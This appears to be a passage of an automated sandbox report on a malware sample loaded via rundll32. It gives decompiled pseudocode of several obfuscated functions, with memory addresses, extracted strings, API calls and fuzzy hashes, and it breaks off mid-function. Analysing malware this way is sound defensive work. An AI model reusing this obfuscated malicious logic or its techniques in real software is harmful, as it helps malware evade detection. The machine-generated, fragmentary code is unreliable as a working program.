0x029dbd50
0x029dbd58
0x029dbd65
0x029dbd69
0x029dbd71
0x029dbd76
0x029dbd7e
0x029dbd8b
0x029dbd8f
0x029dbd97
0x029dbda3
0x029dbdb7
0x029dbdb7
0x029dbdc5
0x029dbe80
0x00000000
0x029dbe80
0x029dbdcd
0x029dbe0a
0x029dbe0f
0x029dbe5c
0x029dbe71
0x029dbe76
0x029dbe79
0x00000000
0x029dbe79
0x029dbdcf
0x029dbdd1
0x00000000
0x00000000
0x029dbdef
0x00000000
0x029dbdf4
0x029dbe8f
0x029dbec4
0x029dbed6
0x029dbedb
0x029dbede
0x029dbee0
0x029dbee0
0x029dbee0
0x00000000

Strings

j,r), xrefs: 029DBCEB
DF`, xrefs: 029DBA30
OE, xrefs: 029DBBBA
OY<, xrefs: 029DBC8E
XF, xrefs: 029DBB01
Wv, xrefs: 029DBADC

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: OE$OY<$Wv$XF$j,r)$DF`
API String ID: 0-3120813865
Opcode ID: ab2007b2c0c342b11157d6d8c2273139bde6baa20dc1459aa99c89a0d4187529
Instruction ID: e06c2e1eeae740c608b53fc09da4827116078d7d89fd5007b0902d9749ef6c97
Opcode Fuzzy Hash: ab2007b2c0c342b11157d6d8c2273139bde6baa20dc1459aa99c89a0d4187529
Instruction Fuzzy Hash: 41C131B25093819FD398CF61C58994BFBF2FBC4748F10891DF5A69A260D3B59909CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029DE7DA, Relevance: 7.8, Strings: 6, Instructions: 253
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E029DE7DA() {
				char _v524;
				intOrPtr _v548;
				char _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
				signed int _v648;
				signed int _v652;
				signed int _v656;
				signed int _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				signed int _v676;
				signed int _v680;
				signed int _v684;
				signed int _t260;
				signed int _t263;
				void* _t266;
				signed int _t271;
				void* _t272;
				intOrPtr _t273;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				signed int _t280;
				signed int _t297;
				void* _t299;
				void* _t304;
				signed int* _t306;
				void* _t314;

				_t306 =  &_v684;
				_v580 = 0x76098c;
				_v576 = 0x64e4a0;
				_v572 = 0x84f264;
				_t273 = 0;
				_v568 = 0;
				_v596 = 0x72d8ab;
				_v596 = _v596 | 0xeb7f5cc6;
				_v596 = _v596 ^ 0xeb7fdc6f;
				_v680 = 0x52bb86;
				_v680 = _v680 >> 8;
				_v680 = _v680 >> 3;
				_v680 = _v680 | 0xef826e0a;
				_v680 = _v680 ^ 0xef826e5e;
				_v632 = 0x1f8f47;
				_v632 = _v632 ^ 0x27a7cfe9;
				_t275 = 0x60;
				_v632 = _v632 / _t275;
				_v632 = _v632 ^ 0x0069eb54;
				_t299 = 0x27c51a0;
				_v636 = 0x4407f7;
				_v636 = _v636 | 0x68062e46;
				_v636 = _v636 ^ 0x1390b452;
				_v636 = _v636 ^ 0x7bd696c4;
				_v684 = 0xca0e5d;
				_v684 = _v684 >> 0xf;
				_t276 = 0x2e;
				_v684 = _v684 * 0x64;
				_v684 = _v684 + 0x8df2;
				_v684 = _v684 ^ 0x0007bfc3;
				_v620 = 0x90cac9;
				_v620 = _v620 | 0x53231d1d;
				_v620 = _v620 / _t276;
				_v620 = _v620 ^ 0x01dcee78;
				_v612 = 0xe1f750;
				_t277 = 0x61;
				_v612 = _v612 / _t277;
				_v612 = _v612 ^ 0x000fbff7;
				_v628 = 0x4f9161;
				_v628 = _v628 + 0xc20a;
				_v628 = _v628 >> 0xd;
				_v628 = _v628 ^ 0x00088b71;
				_v592 = 0x78d987;
				_v592 = _v592 + 0xd9cb;
				_v592 = _v592 ^ 0x0072143c;
				_v608 = 0xf27982;
				_v608 = _v608 + 0xce83;
				_v608 = _v608 ^ 0x00fa8eef;
				_v672 = 0xa99efa;
				_t278 = 0x4b;
				_v672 = _v672 * 0x5f;
				_v672 = _v672 / _t278;
				_t279 = 0x51;
				_v672 = _v672 / _t279;
				_v672 = _v672 ^ 0x000665bd;
				_v648 = 0x28007c;
				_t280 = 0x13;
				_t298 = _v612;
				_v648 = _v648 * 0x13;
				_v648 = _v648 ^ 0x22b9525a;
				_v648 = _v648 | 0x3b9182d8;
				_v648 = _v648 ^ 0x3bd8e5f1;
				_v604 = 0x294522;
				_v604 = _v604 | 0x2d4fcdc7;
				_v604 = _v604 ^ 0x2d61d7b2;
				_v652 = 0xddbbe9;
				_v652 = _v652 >> 0x10;
				_v652 = _v652 << 0xc;
				_v652 = _v652 * 0x50;
				_v652 = _v652 ^ 0x04531f6e;
				_v660 = 0xcb8eed;
				_v660 = _v660 + 0xac01;
				_v660 = _v660 ^ 0xa8706fc6;
				_v660 = _v660 * 0x51;
				_v660 = _v660 ^ 0x63971d9a;
				_v668 = 0x4e3ebf;
				_v668 = _v668 | 0xe46512d2;
				_v668 = _v668 + 0xffffd62d;
				_v668 = _v668 | 0x7c5e1c9f;
				_v668 = _v668 ^ 0xfc7042c2;
				_v676 = 0xd40f2b;
				_v676 = _v676 ^ 0x53ac7ee8;
				_v676 = _v676 << 4;
				_v676 = _v676 ^ 0x98254ae3;
				_v676 = _v676 ^ 0xafa00b7c;
				_v616 = 0xaacd2;
				_v616 = _v616 >> 1;
				_v616 = _v616 | 0x87485e32;
				_v616 = _v616 ^ 0x874dad7f;
				_v644 = 0x6a4d7e;
				_v644 = _v644 << 0xd;
				_v644 = _v644 + 0xbb3a;
				_v644 = _v644 | 0x2417c1c1;
				_v644 = _v644 ^ 0x6dbf7195;
				_v624 = 0xd8712f;
				_v624 = _v624 + 0xffff4457;
				_v624 = _v624 + 0xffff95a2;
				_v624 = _v624 ^ 0x00d3128d;
				_v640 = 0xf9a8bf;
				_v640 = _v640 | 0x9827dea9;
				_v640 = _v640 / _t280;
				_v640 = _v640 ^ 0x0808bb9b;
				_v664 = 0x7caf4c;
				_t260 = _v664;
				_t281 = 0x34;
				_t297 = _t260 % _t281;
				_v664 = _t260 / _t281;
				_v664 = _v664 | 0xdb15957c;
				_v664 = _v664 + 0x2858;
				_v664 = _v664 ^ 0xdb19f1d3;
				_v656 = 0x6106f4;
				_v656 = _v656 | 0x9d3032de;
				_v656 = _v656 + 0xffff7918;
				_v656 = _v656 + 0xffff75ba;
				_v656 = _v656 ^ 0x9d7e1cc5;
				_v600 = 0xc847aa;
				_v600 = _v600 | 0x6a6a9b68;
				_v600 = _v600 ^ 0x6ae5c46a;
				do {
					while(_t299 != 0x637476) {
						if(_t299 == 0x27c51a0) {
							_t299 = 0x4b2adb6;
							continue;
						}
						if(_t299 == 0x4b2adb6) {
							_t297 = _v636;
							_t266 = E029C24AA(_t281, _t297, __eflags,  &_v524, _v684, _v620, _v612);
							_t306 =  &(_t306[4]);
							__eflags = _t266;
							if(__eflags == 0) {
								L11:
								return _t273;
							}
							_t299 = 0xacff8c5;
							continue;
						}
						if(_t299 == 0x7006809) {
							_t297 = _v664;
							_t281 = _v640;
							E029C921F(_v640, _t297,  &_v588, _v656, _v600);
							_t306 =  &(_t306[3]);
							_t299 = 0xeababdc;
							continue;
						}
						if(_t299 == 0xacff8c5) {
							_t297 = _v628;
							_t271 = E029D2D06(_v596, _t297, _v592,  &_v524, _v596, _v632, _v608, _v672, _v648, _v596, _v604, _t273, _v680); // executed
							_t298 = _t271;
							_t306 =  &(_t306[0xb]);
							__eflags = _t271 - 0xffffffff;
							if(__eflags == 0) {
								goto L11;
							}
							_t299 = 0x637476;
							continue;
						}
						if(_t299 != 0xeababdc) {
							goto L19;
						}
						_t272 = E029C2CB5(_t281);
						_t304 = _v588 - _v548;
						asm("sbb ecx, [esp+0x9c]");
						_t314 = _v584 - _t297;
						if(_t314 >= 0 && (_t314 > 0 || _t304 >= _t272)) {
							_t273 = 1;
						}
						goto L11;
					}
					_t263 = E029DECCD(_t298, _t297, _v652, _v660, _t281, _v668,  &_v564, _v676);
					_t297 = _v644;
					_t281 = _v616;
					asm("sbb esi, esi");
					_t299 = ( ~_t263 & 0x0447aab0) + 0x2b8bd59; // executed
					__eflags = _t299;
					E029D9038(_v616, _t297, _t298, _v624); // executed
					_t306 =  &(_t306[8]);
					L19:
					__eflags = _t299 - 0x2b8bd59;
				} while (__eflags != 0);
				goto L11;
			}

0x029de7da
0x029de7e0
0x029de7ea
0x029de7f2
0x029de7fb
0x029de7fd
0x029de801
0x029de809
0x029de811
0x029de819
0x029de821
0x029de826
0x029de82b
0x029de833
0x029de83b
0x029de843
0x029de854
0x029de859
0x029de85f
0x029de867
0x029de86c
0x029de874
0x029de87c
0x029de884
0x029de88c
0x029de894
0x029de89e
0x029de8a1
0x029de8a5
0x029de8ad
0x029de8b5
0x029de8bd
0x029de8cd
0x029de8d1
0x029de8d9
0x029de8e5
0x029de8ea
0x029de8f0
0x029de8f8
0x029de900
0x029de908
0x029de90d
0x029de915
0x029de91d
0x029de925
0x029de92d
0x029de935
0x029de93d
0x029de945
0x029de952
0x029de955
0x029de961
0x029de969
0x029de96c
0x029de970
0x029de978
0x029de989
0x029de98c
0x029de995
0x029de999
0x029de9a1
0x029de9a9
0x029de9b1
0x029de9b9
0x029de9c1
0x029de9c9
0x029de9d1
0x029de9d6
0x029de9e0
0x029de9e4
0x029de9ec
0x029de9f4
0x029de9fc
0x029dea09
0x029dea0d
0x029dea15
0x029dea1d
0x029dea25
0x029dea2d
0x029dea35
0x029dea3d
0x029dea45
0x029dea4d
0x029dea52
0x029dea5a
0x029dea62
0x029dea6a
0x029dea6e
0x029dea76
0x029dea7e
0x029dea86
0x029dea8b
0x029dea93
0x029dea9b
0x029deaa3
0x029deaab
0x029deab3
0x029deabb
0x029deac3
0x029deacb
0x029deadb
0x029deadf
0x029deae7
0x029deaef
0x029deaf3
0x029deaf4
0x029deaf6
0x029deafa
0x029deb02
0x029deb0a
0x029deb12
0x029deb1a
0x029deb22
0x029deb2a
0x029deb32
0x029deb3a
0x029deb42
0x029deb4a
0x029deb52
0x029deb52
0x029deb60
0x029dec6b
0x00000000
0x029dec6b
0x029deb6c
0x029dec4c
0x029dec51
0x029dec56
0x029dec59
0x029dec5b
0x029debbd
0x029debc6
0x029debc6
0x029dec61
0x00000000
0x029dec61
0x029deb78
0x029dec1e
0x029dec22
0x029dec27
0x029dec2c
0x029dec2f
0x00000000
0x029dec2f
0x029deb84
0x029debf1
0x029debfc
0x029dec01
0x029dec03
0x029dec06
0x029dec09
0x00000000
0x00000000
0x029dec0b
0x00000000
0x029dec0b
0x029deb8c
0x00000000
0x00000000
0x029deb92
0x029deb9b
0x029deba6
0x029debad
0x029debaf
0x029debb9
0x029debb9
0x00000000
0x029debaf
0x029dec90
0x029dec99
0x029dec9f
0x029deca6
0x029decae
0x029decae
0x029decb4
0x029decb9
0x029decbc
0x029decbc
0x029decbc
0x00000000

Strings

~Mj, xrefs: 029DEA7E
"E), xrefs: 029DE9B1
|, xrefs: 029DE978
Ti, xrefs: 029DE85F
vtc, xrefs: 029DE990
X(, xrefs: 029DEB02

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: "E)$Ti$X($vtc$|$~Mj
API String ID: 823142352-2927301414
Opcode ID: 8f6cbedfbb076e2e4319f0d811f81a136fd5f33b0cecff1bb4fa7568a8198434
Instruction ID: 79499cf8314e9667f0c831301a4b8da10bfb859f74fe948ca9052a17b146e725
Opcode Fuzzy Hash: 8f6cbedfbb076e2e4319f0d811f81a136fd5f33b0cecff1bb4fa7568a8198434
Instruction Fuzzy Hash: EDC130729083809FD368CF66C58990BFBE2BBC4758F108A1DF5DA96260D3B59909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029C196D, Relevance: 7.7, Strings: 6, Instructions: 234
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E029C196D() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				intOrPtr _t224;
				char _t229;
				signed int _t231;
				intOrPtr _t232;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				void* _t262;
				char _t266;
				signed int* _t267;
				void* _t269;

				_t267 =  &_v132;
				_v20 = 0x7391d7;
				_v16 = 0xfee6d2;
				_t232 = 0;
				_v12 = 0;
				_v8 = 0;
				_v72 = 0xaf21a0;
				_v72 = _v72 ^ 0x86979502;
				_v72 = _v72 ^ 0x863f3fa5;
				_v76 = 0x5210ee;
				_t234 = 0x69;
				_v76 = _v76 / _t234;
				_v76 = _v76 ^ 0x000461a7;
				_t262 = 0x22aa82;
				_v100 = 0x119ea3;
				_t235 = 0x3b;
				_v100 = _v100 * 0x5d;
				_v100 = _v100 / _t235;
				_v100 = _v100 ^ 0x00112838;
				_v68 = 0x7c7448;
				_v68 = _v68 << 0xb;
				_v68 = _v68 ^ 0xe3aa82d1;
				_v104 = 0x2db0d;
				_v104 = _v104 * 0xd;
				_v104 = _v104 << 5;
				_v104 = _v104 ^ 0x04a193a8;
				_v92 = 0x5bbc9d;
				_v92 = _v92 ^ 0x5fb4b0bc;
				_v92 = _v92 | 0x08c7051e;
				_v92 = _v92 ^ 0x5fe6831f;
				_v60 = 0xca4eea;
				_v60 = _v60 + 0xef29;
				_v60 = _v60 ^ 0x00ca5f42;
				_v96 = 0x99a6b6;
				_v96 = _v96 << 8;
				_v96 = _v96 * 0x44;
				_v96 = _v96 ^ 0xd04e9fd4;
				_v112 = 0xb014f9;
				_v112 = _v112 + 0xffffdcb5;
				_v112 = _v112 | 0xab28e735;
				_v112 = _v112 >> 3;
				_v112 = _v112 ^ 0x1577127f;
				_v116 = 0xe113d;
				_v116 = _v116 | 0xffff7fad;
				_v116 = _v116 ^ 0xfffd4937;
				_v120 = 0x33ee94;
				_v120 = _v120 * 0x71;
				_v120 = _v120 << 7;
				_v120 = _v120 + 0x20a2;
				_v120 = _v120 ^ 0x76290b51;
				_v88 = 0xb4e518;
				_v88 = _v88 * 0x4c;
				_v88 = _v88 * 0x4a;
				_v88 = _v88 ^ 0x86053cb9;
				_v48 = 0x35e045;
				_v48 = _v48 | 0xc7187843;
				_v48 = _v48 ^ 0xc7366713;
				_v52 = 0xfb6fc;
				_v52 = _v52 << 2;
				_v52 = _v52 ^ 0x0033dea5;
				_v56 = 0x432b49;
				_v56 = _v56 * 0x2d;
				_v56 = _v56 ^ 0x0bc9fab0;
				_v124 = 0x578c4a;
				_v124 = _v124 << 0xb;
				_v124 = _v124 + 0xe29c;
				_v124 = _v124 >> 9;
				_v124 = _v124 ^ 0x005a5f69;
				_v128 = 0x9fe7b2;
				_v128 = _v128 >> 0xc;
				_v128 = _v128 + 0x615c;
				_v128 = _v128 + 0xe9f2;
				_v128 = _v128 ^ 0x0003b87c;
				_v64 = 0xa22dd5;
				_v64 = _v64 << 6;
				_v64 = _v64 ^ 0x288290ea;
				_v132 = 0x5e02cd;
				_v132 = _v132 + 0xffffe3d7;
				_t236 = 0x62;
				_v132 = _v132 / _t236;
				_v132 = _v132 | 0xc2d2cf86;
				_v132 = _v132 ^ 0xc2dfbcfa;
				_v80 = 0x16ed4d;
				_v80 = _v80 * 0x49;
				_v80 = _v80 + 0x15f5;
				_v80 = _v80 ^ 0x0684722a;
				_v84 = 0xeb02db;
				_v84 = _v84 + 0xffff2565;
				_v84 = _v84 + 0xffffc0ef;
				_v84 = _v84 ^ 0x00eead55;
				_v108 = 0xc9c947;
				_v108 = _v108 * 0x6e;
				_v108 = _v108 + 0xffff7077;
				_v108 = _v108 + 0xffff7e32;
				_v108 = _v108 ^ 0x56bcb512;
				_t261 = _v44;
				_t266 = _v44;
				goto L1;
				do {
					while(1) {
						L1:
						_t269 = _t262 - 0x9174641;
						if(_t269 > 0) {
							break;
						}
						if(_t269 == 0) {
							E029CF699(_v124, _v40, _v128, _v64, _v132);
							_t267 =  &(_t267[3]);
							_t262 = 0x815cc4;
							continue;
						}
						if(_t262 == 0x22aa82) {
							_t262 = 0x8b31297;
							continue;
						}
						if(_t262 == 0x815cc4) {
							E029D0969(_v80, _v84, _t261, _v108);
							L23:
							return _t232;
						}
						if(_t262 == 0x2d43ceb) {
							_t224 = E029C5B78(_v100,  &_v44, _v68, _v104, _t266); // executed
							_t261 = _t224;
							_t267 =  &(_t267[3]);
							if(_t224 == 0) {
								goto L23;
							}
							_t262 = 0xb83e89c;
							continue;
						}
						if(_t262 != 0x8b31297) {
							goto L20;
						} else {
							_t266 = E029C6617();
							_t262 = 0x2d43ceb;
							continue;
						}
					}
					if(_t262 == 0xa876708) {
						E029D2C0A( *0x29e5bd8 + 0x30, _v88, _v48, _v24 + 1, _v52, _v56, _v28);
						_t267 =  &(_t267[5]);
						_t232 = 1;
						_t262 = 0x9174641;
						 *((intOrPtr*)( *0x29e5bd8 + 0x24)) = _v32;
						goto L20;
					}
					if(_t262 == 0xb83e89c) {
						_t262 = 0x815cc4;
						if(_v44 > 2) {
							_t229 = E029CA8E8(_v60, _v96,  *((intOrPtr*)(_t261 + 8)), _v112,  &_v36);
							_t267 =  &(_t267[4]);
							_v40 = _t229;
							if(_t229 != 0) {
								_t262 = 0xd8d7ac9;
							}
						}
						goto L1;
					}
					if(_t262 != 0xd8d7ac9) {
						goto L20;
					}
					_t231 = E029E2560(_v116,  &_v32, _v120,  &_v40);
					asm("sbb esi, esi");
					_t262 = ( ~_t231 & 0x017020c7) + 0x9174641;
					goto L1;
					L20:
				} while (_t262 != 0xb223d1);
				goto L23;
			}

0x029c196d
0x029c1973
0x029c197d
0x029c1987
0x029c1989
0x029c1990
0x029c1997
0x029c199f
0x029c19a7
0x029c19af
0x029c19bf
0x029c19c4
0x029c19ca
0x029c19d2
0x029c19d7
0x029c19e4
0x029c19e5
0x029c19ef
0x029c19f3
0x029c19fb
0x029c1a03
0x029c1a08
0x029c1a10
0x029c1a1d
0x029c1a21
0x029c1a26
0x029c1a2e
0x029c1a36
0x029c1a3e
0x029c1a46
0x029c1a4e
0x029c1a56
0x029c1a5e
0x029c1a66
0x029c1a6e
0x029c1a78
0x029c1a7c
0x029c1a84
0x029c1a8c
0x029c1a94
0x029c1a9c
0x029c1aa1
0x029c1aa9
0x029c1ab1
0x029c1ab9
0x029c1ac1
0x029c1ace
0x029c1ad2
0x029c1ad7
0x029c1adf
0x029c1ae7
0x029c1af4
0x029c1afd
0x029c1b01
0x029c1b09
0x029c1b11
0x029c1b19
0x029c1b21
0x029c1b29
0x029c1b2e
0x029c1b36
0x029c1b43
0x029c1b47
0x029c1b4f
0x029c1b59
0x029c1b5e
0x029c1b66
0x029c1b6b
0x029c1b73
0x029c1b7b
0x029c1b80
0x029c1b88
0x029c1b90
0x029c1b98
0x029c1ba0
0x029c1ba5
0x029c1bad
0x029c1bb5
0x029c1bc3
0x029c1bc6
0x029c1bca
0x029c1bd2
0x029c1bda
0x029c1be7
0x029c1beb
0x029c1bf3
0x029c1bfb
0x029c1c03
0x029c1c0b
0x029c1c13
0x029c1c1b
0x029c1c28
0x029c1c2c
0x029c1c34
0x029c1c3c
0x029c1c44
0x029c1c48
0x029c1c48
0x029c1c4c
0x029c1c4c
0x029c1c4c
0x029c1c4c
0x029c1c52
0x00000000
0x00000000
0x029c1c58
0x029c1cdd
0x029c1ce2
0x029c1ce5
0x00000000
0x029c1ce5
0x029c1c60
0x029c1cc2
0x00000000
0x029c1cc2
0x029c1c68
0x029c1de5
0x029c1def
0x029c1df8
0x029c1df8
0x029c1c74
0x029c1ca9
0x029c1cae
0x029c1cb0
0x029c1cb5
0x00000000
0x00000000
0x029c1cbb
0x00000000
0x029c1cbb
0x029c1c7c
0x00000000
0x029c1c82
0x029c1c8f
0x029c1c91
0x00000000
0x029c1c91
0x029c1c7c
0x029c1cf5
0x029c1daa
0x029c1dbe
0x029c1dc1
0x029c1dc2
0x029c1dc7
0x00000000
0x029c1dc7
0x029c1d01
0x029c1d43
0x029c1d48
0x029c1d66
0x029c1d6b
0x029c1d6e
0x029c1d74
0x029c1d7a
0x029c1d7a
0x029c1d74
0x00000000
0x029c1d48
0x029c1d09
0x00000000
0x00000000
0x029c1d20
0x029c1d2a
0x029c1d33
0x00000000
0x029c1dca
0x029c1dca
0x00000000

Strings

Ht|, xrefs: 029C19FB
E5, xrefs: 029C1B09
\a, xrefs: 029C1B80
), xrefs: 029C1A56
i_Z, xrefs: 029C1B6B
I+C, xrefs: 029C1B36

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: )$E5$Ht|$I+C$\a$i_Z
API String ID: 0-3197448685
Opcode ID: 0d212699dc600d7299e5794cc556a74757f52b577a3acd3d907cbdbdadb5d397
Instruction ID: 095e288635e93422f8c680cfe1dc6d0c62e3096a6c7983b6e2c34040cc14d99d
Opcode Fuzzy Hash: 0d212699dc600d7299e5794cc556a74757f52b577a3acd3d907cbdbdadb5d397
Instruction Fuzzy Hash: EFB122B28083418FC358CF65D58941BFBF1BBC4758F50892DF699A6260D3B18A49CF8B

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0C050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EA0C225
GetLastError.KERNEL32 ref: 6EA0C22B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6EA0C247

Strings

asd, xrefs: 6EA0C21C

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 915c1e3a28d21a6299e1797f92ee3c0417bf55bb56f498376ba8ff71470b7b9c
Instruction ID: 567877e493d4e2219cd0c08b0d31965fa4021b060e5a918c932a2f34794e386a
Opcode Fuzzy Hash: 915c1e3a28d21a6299e1797f92ee3c0417bf55bb56f498376ba8ff71470b7b9c
Instruction Fuzzy Hash: F1E1CC71A083068FC750CF98D890B6AB7E1FF88718F19496DE8948F345D331E985CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 029D56A9, Relevance: 6.5, Strings: 5, Instructions: 217
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E029D56A9() {
				char _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _v604;
				signed int _t204;
				void* _t205;
				signed int _t215;
				void* _t218;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				void* _t242;
				signed int* _t244;
				void* _t247;

				_t244 =  &_v604;
				_v568 = 0xa25d52;
				_v568 = _v568 << 5;
				_t218 = 0xadec1a;
				_v568 = _v568 >> 5;
				_v568 = _v568 ^ 0x00a25d4e;
				_v560 = 0x2e7f2a;
				_v560 = _v560 >> 8;
				_v560 = _v560 + 0xeff2;
				_v560 = _v560 ^ 0x00011e58;
				_v540 = 0x17ae02;
				_v540 = _v540 + 0xea57;
				_v540 = _v540 ^ 0x00179866;
				_v544 = 0x461107;
				_v544 = _v544 << 8;
				_v544 = _v544 ^ 0x461f7239;
				_v600 = 0x5d6a28;
				_t26 =  &_v600; // 0x5d6a28
				_t238 = 0x3f;
				_v600 =  *_t26 / _t238;
				_v600 = _v600 >> 1;
				_t242 = 0;
				_t239 = 0x1f;
				_v600 = _v600 * 0x7e;
				_v600 = _v600 ^ 0x005ff2a1;
				_v552 = 0xb2a23f;
				_v552 = _v552 >> 0xb;
				_v552 = _v552 + 0x9894;
				_v552 = _v552 ^ 0x000b64b7;
				_v604 = 0x6cfcf1;
				_v604 = _v604 * 0x3c;
				_v604 = _v604 * 0x55;
				_v604 = _v604 << 6;
				_v604 = _v604 ^ 0xcfc462bd;
				_v596 = 0xc91874;
				_v596 = _v596 | 0xe43e51a0;
				_v596 = _v596 >> 0xb;
				_v596 = _v596 >> 0xf;
				_v596 = _v596 ^ 0x00015307;
				_v536 = 0xd76930;
				_v536 = _v536 + 0x5157;
				_v536 = _v536 ^ 0x00da94d8;
				_v576 = 0xbb641a;
				_v576 = _v576 ^ 0xa2396b38;
				_v576 = _v576 | 0x651ddf60;
				_v576 = _v576 + 0xffff7432;
				_v576 = _v576 ^ 0xe79022de;
				_v532 = 0x1e254e;
				_v532 = _v532 ^ 0x181efa4e;
				_v532 = _v532 ^ 0x180eb6a5;
				_v592 = 0xed8fd1;
				_v592 = _v592 / _t239;
				_v592 = _v592 << 0xc;
				_v592 = _v592 >> 6;
				_v592 = _v592 ^ 0x01e6db9b;
				_v528 = 0xde719f;
				_v528 = _v528 + 0xc241;
				_v528 = _v528 ^ 0x00dc2615;
				_v584 = 0x15a7eb;
				_v584 = _v584 << 0xf;
				_t240 = 0x67;
				_v584 = _v584 / _t240;
				_v584 = _v584 << 6;
				_v584 = _v584 ^ 0x83bb7963;
				_v580 = 0xfb43c7;
				_v580 = _v580 | 0x7fbd3ae7;
				_v580 = _v580 ^ 0x67bab5f8;
				_v580 = _v580 ^ 0x18410744;
				_v556 = 0xbe8a3f;
				_t241 = _v524;
				_v556 = _v556 * 0x29;
				_v556 = _v556 >> 1;
				_v556 = _v556 ^ 0x0f4d00e7;
				_v564 = 0xe5745d;
				_v564 = _v564 + 0xffff2516;
				_v564 = _v564 >> 7;
				_v564 = _v564 ^ 0x000de1f7;
				_v588 = 0xbe4664;
				_v588 = _v588 * 0x68;
				_v588 = _v588 | 0xca4f051e;
				_v588 = _v588 >> 4;
				_v588 = _v588 ^ 0x0cfd8858;
				_v572 = 0x41d9a9;
				_v572 = _v572 + 0x642c;
				_v572 = _v572 * 0x22;
				_v572 = _v572 | 0x21107530;
				_v572 = _v572 ^ 0x29d0ff29;
				_v548 = 0x821fcf;
				_v548 = _v548 * 0x3e;
				_v548 = _v548 ^ 0x6d09fea3;
				_v548 = _v548 ^ 0x728aa922;
				goto L1;
				do {
					while(1) {
						L1:
						_t247 = _t218 - 0x8aedab8;
						if(_t247 > 0) {
							goto L12;
						}
						L2:
						if(_t247 == 0) {
							_push(_t218);
							_t204 = E029CE259(_v576, _v524, _v532, _v592, _t218, _t218,  *0x29e5bd8 + 0x238, _v528, _v584); // executed
							_t244 =  &(_t244[8]);
							_t218 = 0xbed348a;
							__eflags = _t204;
							_t205 = 1;
							_t242 =  ==  ? _t205 : _t242;
							while(1) {
								L1:
								_t247 = _t218 - 0x8aedab8;
								if(_t247 > 0) {
									goto L12;
								}
								goto L2;
							}
							goto L12;
						}
						if(_t218 == 0xa4a05) {
							_v524 = _v568;
							L10:
							_t218 = 0x8aedab8;
							continue;
						}
						if(_t218 == 0xadec1a) {
							_push(_t218);
							 *0x29e5bd8 = E029D6F53(0x44c);
							_t218 = 0xfe64653;
							continue;
						}
						if(_t218 == 0x1d302b7) {
							E029C24AA(_t218, _v580, __eflags,  &_v520, _v556, _v564, _v588);
							 *((intOrPtr*)( *0x29e5bd8 + 0x1c)) = E029C9113( &_v520, _v572, _v548);
							L23:
							return _t242;
						}
						if(_t218 != 0x62f4efd) {
							break;
						}
						_t218 = 0xf2ba37a;
						_v524 = _v560;
						continue;
						L12:
						__eflags = _t218 - 0xbed348a;
						if(_t218 == 0xbed348a) {
							E029E1987();
							_t218 = 0x1d302b7;
							break;
						}
						__eflags = _t218 - 0xf2ba37a;
						if(_t218 == 0xf2ba37a) {
							E029C7CC1(_t241, _v596, _v536);
							goto L10;
